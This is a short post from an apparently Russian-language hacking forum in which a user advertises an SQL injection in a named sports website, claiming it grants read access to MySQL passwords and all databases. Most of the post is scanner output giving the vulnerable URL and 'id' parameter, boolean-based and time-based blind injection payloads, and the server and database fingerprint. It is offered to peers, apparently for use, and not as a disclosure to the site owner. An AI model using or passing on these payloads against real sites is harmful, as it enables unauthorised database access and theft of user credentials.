Показать сообщение отдельно

  #9  
Старый 30.10.2019, 23:52
RWD
Участник форума
Регистрация: 25.04.2013
Сообщений: 153
Провел на форуме:
56255

Репутация: 2
По умолчанию

fantasycruncher.com

сайт спортивной тематики, права на чтение паролей MySQL и всех бд

Код:
https://www.fantasycruncher.com/cheatsheet.php?id=783b2c1a48b5b3e0

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=783b2c1a48b5b3e0' AND 1291=1291 AND 'YNvr'='YNvr

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=783b2c1a48b5b3e0' AND SLEEP(5) AND 'KAys'='KAys
---

web application technology: PHP 5.6.29, Nginx 1.10.1
back-end DBMS: MySQL 5 (MariaDB fork)
 
Ответить с цитированием